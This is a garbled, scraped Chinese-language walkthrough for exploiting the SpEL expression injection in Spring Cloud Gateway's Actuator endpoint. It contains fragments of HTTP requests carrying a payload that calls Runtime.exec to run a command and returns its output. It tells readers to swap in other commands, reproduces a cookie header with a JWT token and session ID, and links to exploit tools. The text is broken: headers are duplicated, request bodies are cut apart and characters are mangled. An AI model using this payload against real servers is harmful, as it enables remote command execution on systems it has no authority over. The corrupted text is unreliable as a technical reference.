。

其3.1.0及3.0.6版本#xff08;包含#xff09;以前存在一处SpEL表达式注入漏洞#xff0c;当攻击者可以访问A…Spring

boot命令执行

Gateway是Spring中的一个API网关。

其3.1.0及3.0.6版本包含以前存在一处SpEL表达式注入漏洞当攻击者可以访问Actuator

影响版本

可以更换请求路径中的test为你自己的方法也可以更换value值里面的id命令为其它执行命令

POST

text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8

Accept-Language:

zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2

Accept-Encoding:

String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new

String[]{\id\}).getInputStream()))}}}],uri:

http://example.com

text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8

Accept-Language:

zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2

Accept-Encoding:

application/x-www-form-urlencoded

Content-Length:

text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7

Accept-Encoding:

b-user-id98bc3e19-a246-205e-df14-b0f6176e841d;

vue_admin_template_tokeneyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAxMzMzMTQxLCJlbWFpbCI6IiJ9.AlEzzqoZtAFFONBaJRMjjMEji7OJNLT8UxrAgbttBqc;

sidebarStatus0;

JSESSIONID6F5D2993DEE6FC179A1F71F6045DE7AA

If-None-Match:

在这三次的请求中会更换请求头的内容。

如果发现卡住不成功的情况。

那就重新抓一个包

也有利用工具

https://github.com/0x727/SpringBootExploit

https://github.com/13exp/SpringBoot-Scan-GUI